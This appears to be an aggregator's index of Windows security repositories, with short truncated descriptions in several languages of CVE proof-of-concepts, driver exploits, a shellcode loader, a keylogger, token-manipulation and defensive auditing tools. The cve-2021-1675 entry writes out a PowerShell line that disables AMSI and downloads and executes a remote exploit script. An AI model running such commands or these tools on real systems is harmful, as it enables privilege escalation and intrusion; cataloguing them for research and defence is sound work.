archiver-MOTW-support-comparison

Windows용 아카이버 소프트웨어의 MOTW웹 표시, Mark of the Web 전파 지원 비교 영어 | 일본어 배경 2022년 3월 3일, Microsoft는 Windows의 Office 애플리케이션 기본 동작이 인터넷에서 가져온 파일예: 이메일 첨부 파일의 매크로를 차단하도록 변경될 것이라고 발표했습니다. 발표 내용 중 일부: VBA 매크로는 악의적인 공격자가 멀웨어와 랜섬웨어를 배포하기 위해 접근하는 일반적인 방법입니다. 따라서 Office 보안을 개선하기 위해 Office 애플리케이션의 기본 동작을 인터넷에서 가져온...

showstopper

ShowStopper - Инструмент исследования методов анти-отладки Создано при участии Check Point Software Technologies LTD. Разработано Yaraslau Harakhavik Обзор Проект ShowStopper — это инструмент, помогающий исследователям вредоносного ПО изучать и тестировать методы анти-отладки или проверять плагин...

Windows-Defender-Security-Auditor-CVE-2026-50656-

Windows Defender Security Auditor 엔터프라이즈급 Windows 보안 태세 및 위협 헌팅 평가 도구 Amish Kumar 개발 — 보안 연구원 / 보안 엔지니어 CVE-2026-50656 개요 Windows Defender Security Auditor 는 Windows 엔드포인트와 서버 전반에 걸친 엔터프라이즈 배포를 위해 설계된 포괄적이고 비간섭적인 PowerShell 기반 보안 평가 도구입니다. Microsoft Defender 구성 , OS 보안 태세 , 자격 증명 보안 , 지속성 메커니즘 ,...

BYOVD

BYOVD is a collection of PoCs demonstrating how vulnerable drivers can be exploited to disable AV/EDR solutions. The collection includes both undocumented drivers and those with existing coverage in LOLDDrivers or Microsoft's recommended driver block rules. Since its initial discovery, the TfSysM...

CVE-2022-30190

CVE-2022-30190 2022年5月30日月曜日、MicrosoftはWindowsのMicrosoftサポート診断ツール（MSDT）の脆弱性に関するCVE-2022-30190を発行しました。...

SysTracingPoc

SysTracingPoc CVE-2020-0668 - Microsoft Windows 서비스 추적 임의 파일 이동 로컬 권한 상승 취약점 자세한 내용: https://itm4n.github.io/cve-2020-0668-windows-service-tracing-eop/...

Windows-Exploitation-Web-Server-Tomcat-8.5.39-CVE-2019-0232

이 저장소에는 README가 없습니다...

CVE-2018-8410

CVE-2018-8410 PoC для уязвимости повышения привилегий в реестре ядра Windows...

cve-2021-1675

cve-2021-1675 отключить amsi: скопируйте в PowerShell https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt выполнить invoke-script iex New-Object Net.WebClient.DownloadString'https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1' создать учетную...

printDemon2system

printDemon2system CVE-2020-1048 Escalada de privilegios de PrintDemon a SYSTEM PrintDemon era una vulnerabilidad lógica en el servicio Windows Print Spooler spoolsv.exe. La vulnerabilidad residía en la forma en que el spooler manejaba los trabajos de impresión a archivos y, al ser explotada,...

Java-Shellcode-Loader

Java ShellCode Loader Java 기반 ShellCode 로더로, 32비트 및 64비트 플랫폼을 지원합니다. 핵심 원리는 Jna를 이용하여 Windows API를 호출함으로써 shellcode 주입을 구현하는 것입니다. 실행 환경: Jre = 1.5 참고: 이 프로젝트는 이미 yzddmr6/As-Exploits의 ShellCodeLoader 모듈에 내장되어 있습니다. 컴파일 maven package 사용 기본적으로 32비트 프로세스에 무작위로 주입하므로 32비트 shellcode를 사용하십시오...

Nim_DInvoke

Nim DInvoke Nim による D/Invoke 実装 すべての Nim バイナリは、通常同じ 58〜60 個の Windows API 関数を公開します: その他の Windows API 関数は、OffensiveNim または こちらのブログ記事 で述べられているように、通常は実行時に GetProcAddress と LoadLibraryA を介して解決されます。 したがって、Nim で DInvoke を使って API インポートを（完全に）隠すことはできません。ただし、誰かが例えばこの DInvoke 実装を利用して、Dynlib の代わりに DInvoke...

SharpWnfSuite

SharpWnfSuite This is the repository for Windows Notification Facility WNF tools. Currently, a C port of the tools in wnfun developed by Alex Ionescu @aionescu and Gabrielle Viala @pwissenlit has been uploaded. When I develop additional tools for Windows Notification Facility, they will be upload...

DogWalk-rce-poc

Dogwalk 개념 증명🐾 root@kitploit: 🚨 면책 조항 🚨 이 PoC를 통해 공격자는 Windows 피해자 장치에서 원격 코드 인젝션Remote Code Injection 을 수행할 수 있습니다. 이 저장소의 목표는 초기 저장소보다 더 사용하기 쉽게 PoC를 만드는 것입니다. 사전 승인 없이 사용하지 마세요! 발생하는 피해와 공격의 용이성에 대해,Microsoft가 이 문제를 고쳐주길 바랍니다 2022년 7월 업데이트: Microsoft는 아직 msdt의 취약점을 패치하지 않았지만, Microsoft Defende...

SliverKeylogger

Sliver キーロガー この Sliver 向けエクステンションは、主に Sliver がエクステンションをどのように処理するかを学ぶための演習として書かれました 。 この公開インプラントフレームワークの開発に対して、Sliver チーム全体に感謝します。 特に、Sliver がエクステンションをどのように扱うかについて、私の多くの質問に答えてくれた @rkervell に感謝します。 仕組み 基本的には raw input を使用します。これは、他の一般的なキーロギング手法に対して長所と短所があります。...

CVE-2025-24071

CVE-2025-24071PoC CVE-2025-24071: Утечка NTLM-хэша через извлечение RAR/ZIP и файл .library-ms Windows Explorer автоматически инициирует SMB-запрос аутентификации при извлечении файла .library-ms из архива .rar, что приводит к раскрытию NTLM-хэша. Пользователю не нужно открывать или запускать фай...

CVE-2018-8120

CVE-2018-8120 CVE-2018-8120 Windows LPE 익스플로잇 테스트 지원: Win7 x32, Win7 x64, Win2008 x32, Win2008 R2 x32, Win2008 R2 Datacenter x64, Win2008 Enterprise x64 WinXP x32, Win2003 x32, Win2003 x64 원래 exp는 XP, 2003을 지원하지 않았으며, 현재 코드는 원래 코드를 기반으로 이 두 시스템에 대한 지원을 추가했습니다. 사용법 root@kitploit: CVE-2018-8120...

CVE-2020-1472-visualizer

CVE-2020-1472 Event Reader v1.1 27.08.2020 Этот скрипт делает следующее: 1. Сканирует системные evtx в папке с входными файлами на наличие событий 5827, 5828, 5829, 5830 и 5831, извлекает точные поля данных и экспортирует в 582-.CSV. 2. Вызывает Excel для импорта полученных 582-.CSV, создаёт...

ExtractedDefender

연구 목적으로 Defender에서 추출한 데이터를 그룹화하려는 시도일 뿐입니다. commial의 LUA/VDM에 대한 원본 연구 https://github.com/commial/experiments/tree/master/windows-defender WDextract https://github.com/hfiref0x/WDExtract...

TokenPlayer

TokenPlayer Windows 액세스 토큰 조작 및 악용. TokenPlayer는 win32 API 프로그래밍을 배우고 Windows의 액세스 토큰 모델을 더 잘 이해하기 위해 제가 만든 작은 도구입니다. 기능: 기본 토큰 탈취 및 가장Impersonation. 보호된 프로세스 가장. 토큰 중복Token-Duplication 방식을 사용한 UAC 우회. 특수 권한이나 상승된 컨텍스트 없이 자격 증명을 제공하여 네트워크 인증용 새 토큰 생성runas /netonly와 유사. 부모 프로세스 ID를 스푸핑하고 다른 부모를 가진...